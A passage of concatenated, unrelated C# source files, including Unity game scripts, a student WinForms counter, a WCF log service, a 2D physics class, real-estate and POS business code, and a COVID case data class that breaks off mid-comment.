var data_8586 = JsonConvert.SerializeObject(data_8585);
var data_8587 = JArray.Parse(data_8586);
for (int i = 0; i < data_8587.Count; i++)
{
//_ = log.swan_core_log("Wealth_sync", "Key : " + data_8587[i]["apikey"].ToString());
//_ = log.swan_core_log("Wealth_sync", "value : " + data_8587[i]["apivalue"].ToString());
mapdata_return.Add(data_8587[i]["apikey"].ToString(), data_8587[i]["apivalue"].ToString());
}
// _ = log.swan_core_log("Wealth_sync", "Prepare_data : " + JsonConvert.SerializeObject(mapdata_return));
}
catch (Exception e)
{
_ = log.swan_core_log("Wealth_sync", "Error" + e.ToString());
}
return JsonConvert.SerializeObject(mapdata_return);
}
[ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)]
public IActionResult Error()
{
return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier });
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace FactoryProject
{
class Customer : IChocoBuyers
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string Name
{
get
{
return $"{FirstName} {LastName}";
}
}
public List<ChocolateOrder> ChocoOrders { get; set; }
public double TotalExpenses
{
get
{
double returnValue = 0;
foreach (var order in ChocoOrders)
{
returnValue += order.TotalPrice;
}
return returnValue;
}
}
public Customer(string fName, string lName)
{
FirstName = fName;
LastName = lName;
ChocoOrders = new List<ChocolateOrder>();
}
public Customer(string fName, string lName, ChocolateOrder order)
{
FirstName = fName;
LastName = lName;
ChocoOrders = new List<ChocolateOrder>();
ChocoOrders.Add(order);
}
public List<Chocolate> CreateOrder(int dark, int white, int milk, int peanut, int almond)
{
List<Chocolate> newOrder = new List<Chocolate>();
for (int i = 0; i < dark; i++)
{
Chocolate newDarkChoco = new Chocolate(Kind.Dark);
newOrder.Add(newDarkChoco);
}
for (int i = 0; i < white; i++)
{
Chocolate newWhiteChoco = new Chocolate(Kind.White);
newOrder.Add(newWhiteChoco);
}
for (int i = 0; i < milk; i++)
{
Chocolate newMilkChoco = new Chocolate(Kind.Milk);
newOrder.Add(newMilkChoco);
}
for (int i = 0; i < peanut; i++)
{
Chocolate newPeanutChoco = new Chocolate(Kind.Peanut);
newOrder.Add(newPeanutChoco);
}
for (int i = 0; i < almond; i++)
{
Chocolate newAlmondChoco = new Chocolate(Kind.Almond);
newOrder.Add(newAlmondChoco);
}
return newOrder;
}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;
namespace MdelVdationDemo.Models
{
public class HomeViewModel
{
[CustomValidation(typeof(CustomValidationHelper), "IsValid")]
public string TestCustomValidation { get; set; }
[OtherRequired(nameof(TestCustomValidation), nameof(CheckedField.CheckDate), typeof(CheckedField))]
public string TestOther { get; set; }
[InsideModel]
public List<Account> Accounts { get; set; }
}
public class Account
{
[Required]
public string Id { get; set; }
[Required]
public string Name { get; set; }
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Telerik.OpenAccess;
namespace Sparda.Core.Services
{
public class Schema
{
#region • Fields •
private Dictionary<string, string> _joinTableAssociations = new Dictionary<string, string>();
#endregion
#region • Properties •
public string Name { get; set; }
public string Owner { get; set; }
public string Group { get; set; }
public int? Version { get; set; }
//public int? FromVersion { get; set; }
public bool ShareSettings { get; set; }
public List<Table> Tables { get; set; }
public Dictionary<string, string> JoinTableAssociations
{
get
{
if (_joinTableAssociations == null)
{
_joinTableAssociations = new Dictionary<string, string>();
}
return _joinTableAssociations;
}
}
#endregion
#region • Methods •
public string GetServiceName()
{
return this.Version.HasValue ? string.Format("{0}V{1}", this.Name, this.Version.Value) : this.Name;
}
public override string ToString()
{
return string.Format("{0}", this.Name);
}
public static Schema FromJson(string json, string name, string owner, int? version = null)
{
if (!string.IsNullOrEmpty(json)) {
var jsonSchema = "{ \"Name\":\"{0}\", \"Version\":{1}, \"Owner\":\"{3}\", \"Tables\":{4}}".Replace("{0}", name).Replace("{1}", version.HasValue ? version.Value.ToString() : "null").Replace("{3}", owner).Replace("{4}", json);
return Newtonsoft.Json.JsonConvert.DeserializeObject<Schema>(jsonSchema);
}
return null;
}
#endregion
}
}
|
using UnityEngine;
using System.Collections;
public class Death : MonoBehaviour {
void Start () {
}
// Update is called once per frame
void Update () {
}
void OnTriggerEnter(Collider col)
{
GameObject obj = GameObject.Find ("Sphere");
Ball ball = obj.GetComponent<Ball> ();
ball.NeueRunde ();
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
[CreateAssetMenu]
public class GameFlowManager : ScriptableObject
{
public void Menu()
{
SceneManager.LoadScene(0);
}
public void StartGame()
{
SceneManager.LoadScene(1);
}
public static void NextLevel()
{
int currentScene = SceneManager.GetActiveScene().buildIndex;
if (currentScene == 3)
{
SceneManager.LoadScene("Start Menu");
}
else
{
SceneManager.LoadScene(currentScene + 1);
}
}
public void Info()
{
SceneManager.LoadScene("Info");
}
public void Credits()
{
SceneManager.LoadScene(4);
}
public void Quit()
{
Application.Quit();
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
private Counter myCounter;
public Form1()
{
//here we will do all the initial coding, including the count as 0
InitializeComponent();
int startNumber = 0;
numberBox.Text = string.Format("{0:D}", startNumber);
myCounter = new Counter();
}
//this is tho show what will output when clicked on the about tab
private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
{
MessageBox.Show("Brian Herbst\nCS 1400 X01\nProject 10");
}
//this will exit the program when you click on it
private void exitToolStripMenuItem1_Click(object sender, EventArgs e)
{
this.Close();
}
//this is when you click on the increment button
private void addButton_Click(object sender, EventArgs e)
{
//this pulls the current count to use later
int addNumber = int.Parse(numberBox.Text);
//this sends the current count to go add one onto it
numberBox.Text = Convert.ToString(myCounter.AddCount(addNumber));
}
//this is when you click on the decrement button
private void subButton_Click(object sender, EventArgs e)
{
//this pulls the current count to use later
int subNumber = int.Parse(numberBox.Text);
//this sends the current count to go subtract one from it
numberBox.Text = Convert.ToString(myCounter.SubtractCount(subNumber));
}
//this is for when you click on the reset button
private void resetButton_Click(object sender, EventArgs e)
{
//this pulls the current count to use later
int resetNumber = int.Parse(numberBox.Text);
//this sends the current count to go reset back to zero
numberBox.Text = Convert.ToString(myCounter.ResetCount(resetNumber));
}
}
public class Counter
{
//method to add one to the count
//purpose: add one to the count
//parameters: one integer, the count
//returns the new count integer
public int AddCount(int countNumber)
{
//add one to the count
countNumber++;
//return the new count
return countNumber;
}
//method to subtracts one from the count
//purpose: subtracts one from the count
//parameters: one integer, the count
//returns the new count integer
public int SubtractCount(int subCount)
{
//make sure the count doesn't go negative
if (subCount > 0)
{
//subtract one if it is above zero
subCount--;
//return the new count
return subCount;
}
else
{
//if count is zero or less reset it to zero
subCount = 0;
//return the new count
return subCount;
}
}
//method to reset the count
//purpose: resets the count
//parameters: one integer, the count
//returns the new count integer
public int ResetCount(int resCount)
{
resCount = 0;
return resCount;
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class InitStats : BaseScriptedEvent
{
void InitiateStats()
{
Debug.Log("Initializing stats");
foreach (BaseHero hero in GameManager.instance.activeHeroes)
{
hero.InitializeStats();
}
}
}
|
using System;
using System.Reflection;
using System.ServiceModel;
using System.ServiceModel.Activation;
using Phenix.Core.Log;
using Phenix.Core.Mapping;
using Phenix.Services.Host.Core;
namespace Phenix.Services.Host.Service.Wcf
{
[ServiceBehavior(InstanceContextMode = InstanceContextMode.PerCall)]
[AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)]
public sealed class PermanentLog : Phenix.Services.Contract.Wcf.IPermanentLog
{
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
public void Save(string userNumber, string typeName, string message, Exception error)
{
try
{
PermanentLogHub.Save(userNumber, typeName, message, error);
}
catch (Exception ex)
{
EventLog.SaveLocal(MethodBase.GetCurrentMethod(), ex);
}
}
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
public object Fetch(string userNumber, string typeName,
DateTime startTime, DateTime finishTime)
{
try
{
ServiceManager.CheckActive();
return PermanentLogHub.Fetch(userNumber, typeName, startTime, finishTime);
}
catch (Exception ex)
{
return ex;
}
}
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
public void Clear(string userNumber, string typeName,
DateTime startTime, DateTime finishTime)
{
try
{
PermanentLogHub.Clear(userNumber, typeName, startTime, finishTime);
}
catch (Exception ex)
{
EventLog.SaveLocal(MethodBase.GetCurrentMethod(), ex);
}
}
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
public void SaveExecuteAction(string userNumber, string typeName, string primaryKey,
ExecuteAction action, string log)
{
try
{
PermanentLogHub.SaveExecuteAction(userNumber, typeName, primaryKey, action, log);
}
catch (Exception ex)
{
EventLog.SaveLocal(MethodBase.GetCurrentMethod(), ex);
}
}
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
public object FetchExecuteAction(string typeName, string primaryKey)
{
try
{
ServiceManager.CheckActive();
return PermanentLogHub.FetchExecuteAction(typeName, primaryKey);
}
catch (Exception ex)
{
return ex;
}
}
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
public object FetchUserExecuteAction(string userNumber, string typeName,
ExecuteAction action, DateTime startTime, DateTime finishTime)
{
try
{
ServiceManager.CheckActive();
return PermanentLogHub.FetchExecuteAction(userNumber, typeName, action, startTime, finishTime);
}
catch (Exception ex)
{
return ex;
}
}
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
public void ClearUserExecuteAction(string userNumber, string typeName,
ExecuteAction action, DateTime startTime, DateTime finishTime)
{
try
{
PermanentLogHub.ClearExecuteAction(userNumber, typeName, action, startTime, finishTime);
}
catch (Exception ex)
{
EventLog.SaveLocal(MethodBase.GetCurrentMethod(), ex);
}
}
}
} |
using System;
using System.Collections.Generic;
using System.Text;
namespace LM.Senac.BouncingBall.Physics
{
public class Planet: CollisionSpace
{
public Planet(string name, float gravity)
{
this._gravity = gravity;
this._name = name;
}
public double _gravity;
public double Gravity { get { return this._gravity; } set { this._gravity = value; } }
public string _name;
public string Name { get { return this._name; } set { this._name = value; } }
public double _friction;
public double Friction { get { return this._friction; } set { this._friction = value; } }
public double _wind;
public double Wind { get { return this._wind; } set { this._wind = value; } }
public double ResultingWindAndFriction
{
get
{
return this._wind + this._friction;
}
}
public void Update(float elapsedTime)
{
this.UpdateMUV(elapsedTime);
this.VerifyCollisions(elapsedTime);
}
public void UpdateMUV(float elapsedTime)
{
foreach (Body body in this.Bodies)
{
if (body.UseGravity)
{
bool useMRUV = body.Velocity.Y > -200.0d && body.Velocity.Y < 200.0d;
body.Position = new Vector2d(
Physics.MRUV.GetPosition(body.Position.X, body.Velocity.X, elapsedTime, body.Acceleration.X + this.ResultingWindAndFriction),
useMRUV ?
Physics.MRUV.GetPosition(body.Position.Y, body.Velocity.Y, elapsedTime, body.Acceleration.Y + this.Gravity):
Physics.MRU.GetPosition(body.Position.Y, body.Velocity.Y, elapsedTime)
);
body.Velocity = new Vector2d(
Physics.MRUV.GetVelocity(body.Velocity.X, elapsedTime, body.Acceleration.X + this.ResultingWindAndFriction),
useMRUV ?
Physics.MRUV.GetVelocity(body.Velocity.Y, elapsedTime, body.Acceleration.Y + this.Gravity):
body.Velocity.Y
);
}
}
}
public void Draw(System.Drawing.Graphics g)
{
foreach (Body body in this.Bodies)
{
body.Draw(g);
}
}
public override void OnCollideWithDynamicBody(float elapsedTime, Body body, Body dynamicBody)
{
Vector2d cm = AuxMath.CenterMassVelocity(body, dynamicBody);
body.Velocity = (2 * cm) - body.Velocity;
dynamicBody.Velocity = (2 * cm) - dynamicBody.Velocity;
}
public override void OnCollideWithStaticBody(float elapsedTime, Body body, Body staticBody)
{
Vector2d position = body.Position;
Vector2d velocity = body.Velocity;
Box2d bodyBox = body.Box2D;
Box2d stBdBox = staticBody.Box2D;
double elasticity = body.Elasticity + staticBody.Elasticity;
if (velocity.X > 0)
{
double b = bodyBox.Right - stBdBox.X;
if ((bodyBox.Width * bodyBox.Width) > (b * b))
{
position.X = position.X - b;
velocity.X = velocity.X * -elasticity;
velocity.Y = velocity.Y * (1 - staticBody.Friction);
}
}
else if (velocity.X < -4)
{
double b = stBdBox.Right - bodyBox.X;
if ((bodyBox.Width * bodyBox.Width) > (b * b))
{
position.X = position.X + b;
velocity.X = velocity.X * -elasticity;
velocity.Y = velocity.Y * (1 - staticBody.Friction);
}
}
else
{
double b = stBdBox.Right - bodyBox.X;
if ((bodyBox.Width * bodyBox.Width) > (b * b))
{
position.X = position.X + b;
velocity.X = 0;
velocity.Y = velocity.Y * (1 - staticBody.Friction);
}
}
if (velocity.Y > 0)
{
double b = bodyBox.Bottom - stBdBox.Y;
if ((bodyBox.Height * bodyBox.Height) > (b * b))
{
position.Y = position.Y - b;
velocity.Y = velocity.Y * -elasticity;
velocity.X = velocity.X * (1 - staticBody.Friction);
}
}
else if (velocity.Y < -4)
{
double b = stBdBox.Bottom - bodyBox.Y;
if ((bodyBox.Height * bodyBox.Height) > (b * b))
{
position.Y = position.Y + b;
velocity.Y = velocity.Y * -elasticity;
velocity.X = velocity.X * (1 - staticBody.Friction);
}
}
else
{
double b = stBdBox.Bottom - bodyBox.Y;
if ((bodyBox.Height * bodyBox.Height) > (b * b))
{
position.Y = position.Y + b;
velocity.Y = 0;
velocity.X = velocity.X * (1 - staticBody.Friction);
}
}
body.Position = position;
body.Velocity = velocity;
//body.Velocity = new Vector2d(
// body.Velocity.X * (1 - staticBody.Friction),
// body.Velocity.Y > 0 ? body.Velocity.Y * -0.8d : body.Velocity.Y
// );
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using AxisPosCore;
using AxisPosCore.Common;
using KartObjects;
namespace AxisPosCore
{
public class ArticulSaleActionExecutor:GoodSaleActionExecutor
{
public ArticulSaleActionExecutor(POSActionMnemonic action)
: base(action)
{
ValidRegistrationModes.Add(POSRegistrationState.RegistrationStateMode.Idle);
ValidRegistrationModes.Add(POSRegistrationState.RegistrationStateMode.Specification);
}
public ArticulSaleActionExecutor()
{
ValidRegistrationModes.Add(POSRegistrationState.RegistrationStateMode.Idle);
ValidRegistrationModes.Add(POSRegistrationState.RegistrationStateMode.Specification);
}
public string articul;
protected override bool FindGood(PosCore model, params object[] args)
{
bool result = false;
articul = (string)args[0];
g = (from s in DataDictionary.SGoods where s.Articul == articul select s).FirstOrDefault();
if (g == null)
{
POSEnvironment.SendEvent(TypeExtEvent.eeGoodNotFound,POSEnvironment.CurrReceipt, args);
throw new POSException("Артикул " + articul + " не найден!");
}
else
result = true;
return result;
}
protected override void ModifyRecord(PosCore model)
{
currReceiptSpecRecord.IdGood = g.Id;
}
}
}
|
using System;
namespace Taggart.ITunes
{
public class Album : IComparable<Album>
{
#region Properties
public string Name { get; set; }
public string Artist { get; set; }
public int Year { get; set; }
#endregion
public int CompareTo(Album other)
{
int result = String.Compare(Artist, other.Artist, StringComparison.CurrentCultureIgnoreCase);
if (result == 0)
{
result = String.Compare(Name, other.Name, StringComparison.CurrentCultureIgnoreCase);
if (result == 0)
{
result = Year.CompareTo(other.Year);
}
}
return result;
}
public bool Equals(Album obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
return Equals(obj.Name, Name) && Equals(obj.Artist, Artist) && obj.Year == Year;
}
public override bool Equals(object obj)
{
if (ReferenceEquals(null, obj)) return false;
if (ReferenceEquals(this, obj)) return true;
if (obj.GetType() != typeof(Album)) return false;
return Equals((Album)obj);
}
public override int GetHashCode()
{
unchecked
{
int result = (Name != null ? Name.GetHashCode() : 0);
result = (result * 397) ^ (Artist != null ? Artist.GetHashCode() : 0);
result = (result * 397) ^ Year;
return result;
}
}
}
}
|
using System.Collections.Concurrent;
namespace BDTest.Settings;
public class CustomExceptionSettings
{
internal CustomExceptionSettings()
{
}
public ConcurrentBag<Type> SuccessExceptionTypes { get; } = new();
public ConcurrentBag<Type> InconclusiveExceptionTypes { get; } = new();
} |
using BDONotiBot.Code;
using Discord.Commands;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace BDONotiBot.Modules
{
[Group("del")]
public class DeleteModule : ModuleBase<SocketCommandContext>
{
private readonly AppDbContext _appDbContext;
public DeleteModule(AppDbContext dbContext)
{
_appDbContext = dbContext;
}
[Command("boss")]
public async Task DeleteBoss(string name)
{
var boss = await _appDbContext.Bosses.FirstOrDefaultAsync(x => x.Name == name);
if(boss != null)
{
_appDbContext.Bosses.Remove(boss);
await _appDbContext.SaveChangesAsync();
await Context.Channel.SendMessageAsync("Успешно: бос удален");
}
else
{
await Context.Channel.SendMessageAsync("Ошибка: босс не найден");
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Kendo.Mvc.Extensions;
using Kendo.Mvc.UI;
using RealEstate.Models;
namespace RealEstate.Controllers
{
[CHAA]
public class AdminController : Controller
{
private RealEstateEntities db = new RealEstateEntities();
private PropertyController pro = new PropertyController();
private BL bl = new BL();
public ActionResult Index()
{
//ViewData["TypeVD"] = db.tblTypes.Where(x => x.Status).Select(x => new { TypeID = x.TypeID, Type = x.Type }).ToList();
//ViewData["CityVD"] = db.tblCities.Where(x => x.Status).Select(x => new { CityID = x.CityID, City = x.City }).ToList();
//ViewData["SocietyVD"] = db.tblSocieties.Where(x => x.Status).Select(x => new { SocietyID = x.SocietyID, Society = x.Society }).ToList();
//ViewData["UOMVD"] = db.tblUOMs.Where(x => x.Status).Select(x => new { UOMID = x.UOMID, UOM = x.UOM }).ToList();
ViewData["TypeVD"] = bl.TypeList();
ViewData["CityVD"] = bl.CityList();
ViewData["SocietyVD"] = bl.SocietyList();
ViewData["UOMVD"] = bl.UOMList();
ViewData["PurposeVD"] = new List<SelectListItem>() {
new SelectListItem() {
Text = "Sale", Value = "Sale"
},
new SelectListItem() {
Text = "Rent", Value = "Rent"
}
};
ViewData["StatusVD"] = new List<SelectListItem>() {
new SelectListItem() {
Text = "Hold", Value = "H"
},
new SelectListItem() {
Text = "Acknowledge", Value = "A"
},
new SelectListItem() {
Text = "Cancel", Value = "C"
}
};
return View();
}
public ActionResult tblProperties_Read([DataSourceRequest]DataSourceRequest request)
{
//IQueryable<PropertyVM> tblproperties = db.tblProperties.Select(c => new PropertyVM
//{
// PropertyID = c.PropertyID,
// PropertyTitle = c.PropertyTitle,
// Purpose = c.Purpose,
// TypeID = c.TypeID,
// CityID = c.CityID,
// SocietyID = c.SocietyID,
// Description = c.Description,
// Price = c.Price,
// LandArea = c.LandArea,
// UOMID = c.UOMID,
// UserID = c.UserID,
// TransDate = c.TransDate,
// Status = c.Status,
// IsFeatured = c.IsFeatured,
// Block = c.Block,
// ContactNo = c.ContactNo,
// Estate = c.Estate,
// IsDealer = c.IsDealer,
// Owner = c.Owner,
// PlotNo = c.PlotNo,
// User = c.tblUser.FullName
//});
var lst = bl.AdminPropertyList();
DataSourceResult result = lst.ToDataSourceResult(request, c => new PropertyVM
{
PropertyID = c.PropertyID,
PropertyTitle = c.PropertyTitle,
Purpose = c.Purpose,
TypeID = c.TypeID,
CityID = c.CityID,
SocietyID = c.SocietyID,
Description = c.Description,
Price = c.Price,
LandArea = c.LandArea,
UOMID = c.UOMID,
UserID = c.UserID,
TransDate = c.TransDate.Date,
Status = c.Status,
IsFeatured = c.IsFeatured,
Block = c.Block,
ContactNo = c.ContactNo,
Estate = c.Estate,
IsDealer = c.IsDealer,
Owner = c.Owner,
PlotNo = c.PlotNo,
User = c.User
});
return Json(result);
}
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult tblProperties_Update([DataSourceRequest]DataSourceRequest request, [Bind(Prefix = "models")]IEnumerable<PropertyVM> tblproperties)
{
//ModelState["TransDate"].Errors.Clear();
//&& ModelState.IsValid
var entities = new List<tblProperty>();
if (tblproperties != null)
{
foreach (var c in tblproperties)
{
var entity = db.tblProperties.Find(c.PropertyID);
entity.PropertyTitle = c.PropertyTitle;
entity.Purpose = c.Purpose;
entity.TypeID = c.TypeID;
entity.CityID = c.CityID;
entity.SocietyID = c.SocietyID;
entity.Description = c.Description;
entity.Price = c.Price;
entity.LandArea = c.LandArea;
entity.UOMID = c.UOMID;
entity.Status = c.Status;
entity.IsFeatured = c.IsFeatured;
entity.Block = c.Block;
entity.ContactNo = c.ContactNo;
entity.Estate = c.Estate;
entity.IsDealer = c.IsDealer;
entity.Owner = c.Owner;
entity.PlotNo = c.PlotNo;
entities.Add(entity);
db.tblProperties.Attach(entity);
db.Entry(entity).State = EntityState.Modified;
}
db.SaveChanges();
}
return Json(entities.ToDataSourceResult(request, ModelState, tblProperty => new PropertyVM
{
PropertyTitle = tblProperty.PropertyTitle,
Purpose = tblProperty.Purpose,
Description = tblProperty.Description,
Price = tblProperty.Price,
LandArea = tblProperty.LandArea,
TransDate = tblProperty.TransDate,
Status = tblProperty.Status,
IsFeatured = tblProperty.IsFeatured,
CityID = tblProperty.CityID,
PropertyID = tblProperty.PropertyID,
SocietyID = tblProperty.SocietyID,
TypeID = tblProperty.TypeID,
UOMID = tblProperty.UOMID,
UserID = tblProperty.UserID,
Block = tblProperty.Block,
ContactNo = tblProperty.ContactNo,
Estate = tblProperty.Estate,
IsDealer = tblProperty.IsDealer,
Owner = tblProperty.Owner,
PlotNo = tblProperty.PlotNo,
User = tblProperty.tblUser.FullName
}));
}
protected override void Dispose(bool disposing)
{
db.Dispose();
base.Dispose(disposing);
}
}
}
|
namespace P01Sorting
{
using System;
public abstract class Sorter<T> : ISortable<T>
where T : IComparable<T>
{
public abstract void Sort(params T[] array);
public bool IsSorted(T[] array)
{
bool isSorted = true;
for (int index = 0; index < array.Length - 1; index++)
{
if (array[index + 1].CompareTo(array[index]) < 0)
{
isSorted = false;
break;
}
}
return isSorted;
}
}
} |
using System;
using System.Collections.Generic;
namespace NotSoSmartSaverAPI.ModelsGenerated
{
public partial class Budget
{
public string Ownerid { get; set; }
public float? Food { get; set; }
public float? Leisure { get; set; }
public float? Rent { get; set; }
public float? Loan { get; set; }
public float? Alcohol { get; set; }
public float? Tobacco { get; set; }
public float? Insurance { get; set; }
public float? Car { get; set; }
public float? Subscriptions { get; set; }
public float? Goal { get; set; }
public float? Other { get; set; }
public float? Clothes { get; set; }
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace TY.SPIMS.Utilities
{
public enum NumericSearchType
{
All, Equal, GreaterThan, LessThan
}
public enum SaleType
{
All, CashInvoice, Cash, CashCharge, SalesOrder, ChargeInvoice, NoInvoice
}
public enum PurchaseType
{
All, CashInvoice, DeliveryReceipt, ChargeInvoice, CashNoInvoice
}
public enum DateSearchType
{
All, SpecificDate, DateRange
}
public enum CustomerCreditType
{
Return, OverPayment
}
public enum PaidType
{
None, Paid, NotPaid
}
public enum DeliveredType
{
None, Delivered, NotDelivered
}
public enum CheckClearedType
{
None, Cleared, NotCleared
}
public enum PaymentType
{
Sales, Purchase
}
public enum CodeType
{
Brand, Customer, Supplier, User, Item, Sale,
Purchase, SalesReturn, PurchaseReturn, SalesPayment, PurchasePayment
}
public enum IssuerType
{ All, Customer, Us}
public enum ReturnStatusType
{ All, Used, Unused }
public enum PaymentRevertType
{ Sale, SalesReturn, Purchase, PurchaseReturn }
class Enums
{
}
}
|
using Pe.Stracon.SGC.Cross.Core.Base;
using Pe.Stracon.SGC.Infraestructura.CommandModel.Contractual;
using Pe.Stracon.SGC.Infraestructura.Core.CommandContract.Contractual;
using Pe.Stracon.SGC.Infraestructura.Core.Context;
using Pe.Stracon.SGC.Infraestructura.Repository.Base;
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Pe.Stracon.SGC.Infraestructura.Repository.Command.Contractual
{
/// <summary>
/// Implementación del Repositorio de Contrato Bien
/// </summary>
/// <remarks>
/// Creación : GMD 20150803 <br />
/// Modificación : <br />
/// </remarks>
public class ContratoBienEntityRepository : ComandRepository<ContratoBienEntity>, IContratoBienEntityRepository
{
/// <summary>
/// Interfaz para el manejo de auditoría
/// </summary>
public IEntornoActualAplicacion entornoActualAplicacion { get; set; }
/// <summary>
/// Realiza la inserción de registros de Contrato Bien
/// </summary>
/// <param name="data">Datos a registrar</param>
/// <returns>Indicador con el resultado de la operación</returns>
public int RegistrarContratoBien(ContratoBienEntity data)
{
SqlParameter[] parametros = new SqlParameter[]
{
new SqlParameter("CODIGO_CONTRATO_BIEN",SqlDbType.UniqueIdentifier) { Value = (object)data.CodigoContratoBien ?? DBNull.Value},
new SqlParameter("CODIGO_CONTRATO",SqlDbType.UniqueIdentifier) { Value = (object)data.CodigoContrato ?? DBNull.Value},
new SqlParameter("CODIGO_BIEN",SqlDbType.UniqueIdentifier) { Value = (object)data.CodigoBien ?? DBNull.Value},
new SqlParameter("ESTADO_REGISTRO", SqlDbType.Char){Value = (object)DatosConstantes.EstadoRegistro.Activo ?? DBNull.Value},
new SqlParameter("USUARIO_CREACION",SqlDbType.NVarChar) { Value = (object)entornoActualAplicacion.UsuarioSession ?? DBNull.Value},
new SqlParameter("FECHA_CREACION",SqlDbType.DateTime) { Value = (object)data.FechaCreacion ?? DBNull.Value},
new SqlParameter("TERMINAL_CREACION",SqlDbType.NVarChar) { Value = (object)entornoActualAplicacion.Terminal ?? DBNull.Value},
};
var result = this.dataBaseProvider.ExecuteStoreProcedureNonQuery("CTR.USP_CONTRATO_BIEN_INS", parametros);
return result;
}
}
}
|
/*
* --------------------------------------------------------------------------------
* <copyright file = "Person" Developer: Diogo Rocha @IPCA</copyright>
* <author>Diogo Miguel Correia Rocha</author>
* <email>a18855@alunos.ipca.pt</email>
* <date>22/05/2020</date>
* <description>Esta classe é onde são trabalhados os dados referentes a classe Caso </description>
* --------------------------------------------------------------------------------
*/
using Classes;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace Dados
{
/// <summary>
/// Classe CasosDL.Trabalha com os dados da classe Caso
/// </summary>
public class CasosDL
{
#region Atributos
static List<Caso> allCases;
#endregion
#region Metodos
#region Construtor
/// <summary>
/// Construtor cases
/// </summary>
static CasosDL()
{
allCases = new List<Caso>();
}
#endregion
/// <summary>
/// Retorna todos os dados inseridos na lista Caso.
/// </summary>
/// <returns></returns>
public static List<Caso> GetAllCases()
{
return (allCases);
}
/// <summary>
/// Consulta casos por região e conta o numero de casos para essa região.
/// </summary>
/// <param name="casos"></param>
/// <param name="pRegiao"></param>
/// <returns></returns>
public static int ConsultaRegiao(string pRegiao)
{
try
{
int qtdRegiao = 0;
foreach (Caso c in allCases)
{
if (c.Regiao == pRegiao)
{
qtdRegiao++;
}
}
return qtdRegiao;
}
catch (Exception ex)
{
throw new Exception(ex.Message);
}
}
/// <summary>
/// Conta o numero de casos com risco
/// </summary>
/// <param name="casos"></param>
/// <param name="semRisco"></param>
/// <returns></returns>
public static int ContaRisco(string semRisco)
{
try
{
int qtrisco = 0;
foreach (Caso c in allCases)
{
if (c.DDoenteRisco == semRisco)
{
qtrisco++;
}
}
return qtrisco;
}
catch (Exception e)
{
throw new Exception(e.Message);
}
}
/// <summary>
/// Indica a maior idade infetada
/// </summary>
/// <param name="casos"></param>
/// <returns></returns>
public static int MaiorIdade()
{
try
{
int maior = 0;
foreach (Caso c in allCases)
{
if (maior < c.Idades)
{
maior = c.Idades;
}
}
return maior;
}
catch (Exception e)
{
throw new Exception(e.Message);
}
}
/// <summary>
/// Faz a média de idades dos casos registados.
/// </summary>
/// <param name="casos"></param>
/// <returns></returns>
public static int MediaIdades()
{
int soma = 0;
int media;
for (int i = 0; i < allCases.Count; i++)
{
soma += allCases[i].Idades;
}
media = soma / allCases.Count;
return media;
}
/// <summary>
/// Insere uma pessoa(caso), caso os parametros sejam verdade.
/// </summary>
/// <param name="c"></param>
/// <returns></returns>
public static bool InsertCase(Caso c)
{
if (allCases.Contains(c))
{
return false;
}
allCases.Add(c);
return true;
}
/// <summary>
/// Grava os dados inseridos em ficheiro.
/// </summary>
/// <param name="casos"></param>
/// <param name="filename"></param>
/// <returns></returns>
public static bool SaveCaso(string filename)
{
if (File.Exists(filename))
{
try
{
Stream stream = File.Open(filename, FileMode.Create);
BinaryFormatter bin = new BinaryFormatter();
bin.Serialize(stream, allCases);
stream.Close();
return true;
}
catch (IOException e)
{
throw e;
}
}
return false;
}
/// <summary>
/// Carrega o ficheiro com os dados foram gravados.
/// NÃO CONSEGUI IMPLEMENTAR!!!
